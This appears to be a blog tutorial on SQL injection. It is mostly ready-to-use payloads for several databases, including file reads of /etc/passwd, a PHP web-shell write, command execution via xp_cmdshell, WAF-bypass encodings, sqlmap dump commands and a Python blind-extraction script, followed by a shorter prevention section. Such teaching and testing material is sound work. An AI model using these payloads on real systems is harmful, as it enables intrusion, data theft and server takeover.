Post

SQL Injection Fundamentals and Advanced Techniques

Comprehensive guide to SQL injection attack vectors, exploitation techniques, and defensive strategies. Learn from basic concepts to advanced pentesting methods used by security professionals.

SQL Injection Fundamentals and Advanced Techniques

SQL Injection Fundamentals and Advanced Techniques

SQL injection remains one of the most critical web application vulnerabilities. This comprehensive guide covers everything from basic concepts to advanced exploitation techniques used by security professionals.

Understanding SQL Injection

SQL injection occurs when user input is incorrectly sanitized and directly concatenated into SQL queries, allowing attackers to manipulate database logic.

Basic Example

1
2
3
4
5
// Vulnerable code
$query = "SELECT * FROM users WHERE username = '" . $_POST['username'] . "'";

// Attack payload
username: admin' OR '1'='1' --

Types of SQL Injection

1. Union-Based Injection

Extract data by combining results from multiple queries.

1
2
3
4
5
6
-- Determine number of columns
' ORDER BY 10--

-- Extract data
' UNION SELECT 1,2,3,database()--
' UNION SELECT 1,table_name,3 FROM information_schema.tables--

2. Boolean-Based Blind Injection

Infer information based on application behavior changes.

1
2
3
4
5
6
-- Test for vulnerability
' AND 1=1--  (normal response)
' AND 1=2--  (different response)

-- Extract data character by character
' AND (SELECT SUBSTRING(username,1,1) FROM users WHERE id=1)='a'--

3. Time-Based Blind Injection

Use time delays to extract information when no visible changes occur.

1
2
3
4
5
6
7
8
-- MySQL
' AND IF(1=1,SLEEP(5),0)--

-- PostgreSQL
'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--

-- SQL Server
'; IF (1=1) WAITFOR DELAY '00:00:05'--

4. Error-Based Injection

Leverage error messages to extract data.

1
2
3
4
5
-- MySQL using ExtractValue
' AND ExtractValue(1,CONCAT(0x7e,(SELECT version()),0x7e))--

-- MySQL using UpdateXML
' AND UpdateXML(1,CONCAT(0x7e,(SELECT user()),0x7e),1)--

Database-Specific Techniques

MySQL

1
2
3
4
5
6
7
8
9
10
11
-- Version detection
' AND @@version LIKE '8%'--

-- File reading (requires FILE privilege)
' UNION SELECT 1,LOAD_FILE('/etc/passwd'),3--

-- File writing
' UNION SELECT 1,2,'<?php system($_GET["c"]); ?>' INTO OUTFILE '/var/www/shell.php'--

-- Information gathering
' UNION SELECT 1,schema_name,3 FROM information_schema.schemata--

PostgreSQL

1
2
3
4
5
6
7
8
-- Version detection
' AND version() LIKE 'PostgreSQL%'--

-- Command execution (if superuser)
'; COPY (SELECT '') TO PROGRAM 'id'--

-- Reading files
' UNION SELECT 1,pg_read_file('/etc/passwd'),3--

Microsoft SQL Server

1
2
3
4
5
6
7
8
-- Version detection
' AND @@version LIKE 'Microsoft%'--

-- Command execution
'; EXEC xp_cmdshell 'whoami'--

-- Reading files
' UNION SELECT 1,BulkColumn,3 FROM OPENROWSET(BULK 'C:\Windows\System32\drivers\etc\hosts', SINGLE_BLOB) AS t--

Oracle

1
2
3
4
5
6
7
8
-- Version detection
' AND banner LIKE 'Oracle%' FROM v$version WHERE rownum=1--

-- Current user
' UNION SELECT 1,user,3 FROM dual--

-- All tables
' UNION SELECT 1,table_name,3 FROM all_tables--

Advanced Evasion Techniques

WAF Bypass Methods

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
-- Comment variations
/*comment*/ /*!50000comment*/ #comment --comment

-- Case manipulation
UnIoN SeLeCt

-- URL encoding
%55%4e%49%4f%4e %53%45%4c%45%43%54

-- Double encoding
%2555%254e%2549%254f%254e

-- Alternative keywords
SELECT -> EXEC, EXECUTE
UNION -> UNION ALL, UNION DISTINCT

Function Alternatives

1
2
3
4
5
6
7
8
9
10
11
-- Instead of SUBSTRING
MID(), LEFT(), RIGHT(), SUBSTR()

-- Instead of CONCAT
MAKE_SET(), ELT(), INSERT()

-- Instead of ASCII
ORD(), HEX()

-- Instead of LENGTH
CHAR_LENGTH(), CHARACTER_LENGTH()

Automated Testing Tools

SQLMap

The most popular automated SQL injection tool.

1
2
3
4
5
6
7
8
9
10
11
# Basic usage
sqlmap -u "http://target.com/page.php?id=1"

# POST data testing
sqlmap -u "http://target.com/login.php" --data="username=admin&password=test"

# Advanced options
sqlmap -u "target.com" --forms --crawl=2 --random-agent --batch

# Database enumeration
sqlmap -u "target.com" --dbs --tables --columns --dump

Custom Python Scripts

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
import string
import time

def blind_sqli_extract(url, injection_point, database_query):
    extracted_data = ""
    position = 1
    
    while True:
        found = False
        for char in string.ascii_lowercase + string.digits + '_':
            payload = f"' AND (SELECT SUBSTRING(({database_query}),{position},1))='{char}'--"
            
            response = requests.get(url, params={injection_point: payload})
            
            if "welcome" in response.text.lower():  # Adjust based on app behavior
                extracted_data += char
                found = True
                break
        
        if not found:
            break
        position += 1
    
    return extracted_data

# Usage
result = blind_sqli_extract(
    "http://target.com/search.php",
    "search",
    "SELECT database()"
)

Second-Order SQL Injection

Sometimes injection occurs in a different context than where the payload is inserted.

1
2
3
4
5
6
-- Step 1: Register user with malicious payload
username: admin'/*

-- Step 2: Payload executes later in different query
SELECT * FROM posts WHERE author='admin'/*' AND status='published'
-- Results in: SELECT * FROM posts WHERE author='admin'

NoSQL Injection

Modern applications using NoSQL databases have their own injection vectors.

1
2
3
4
5
6
// MongoDB injection examples
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$regex": "^admin"}}

// Authentication bypass
{"username": {"$gt": ""}, "password": {"$gt": ""}}

Prevention Strategies

Parameterized Queries (Prepared Statements)

1
2
3
// PHP PDO example
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$username, $password]);
1
2
# Python example
cursor.execute("SELECT * FROM users WHERE username = %s AND password = %s", (username, password))

Input Validation

1
2
3
4
5
6
7
8
import re

def validate_input(user_input, input_type):
    if input_type == "numeric":
        return user_input.isdigit()
    elif input_type == "alphanumeric":
        return re.match("^[a-zA-Z0-9]+$", user_input)
    return False

Stored Procedures

1
2
3
4
5
CREATE PROCEDURE GetUser(@UserID INT)
AS
BEGIN
    SELECT * FROM Users WHERE ID = @UserID
END

Testing Methodology

  1. Identify injection points: Forms, URL parameters, headers
  2. Test for errors: Submit single quotes, SQL keywords
  3. Determine DBMS: Use version-specific payloads
  4. Map database structure: Extract schema information
  5. Extract sensitive data: Focus on user credentials, sensitive tables
  6. Document findings: Provide clear proof-of-concept

Conclusion

SQL injection remains a critical vulnerability that requires thorough understanding and testing. While automated tools are helpful, manual testing and understanding of database-specific behaviors are essential for comprehensive security assessment.

Remember: Always test within authorized environments and follow responsible disclosure practices.


Have you encountered interesting SQL injection scenarios? Share your experiences in the comments!

This post is licensed under CC BY 4.0 by the author.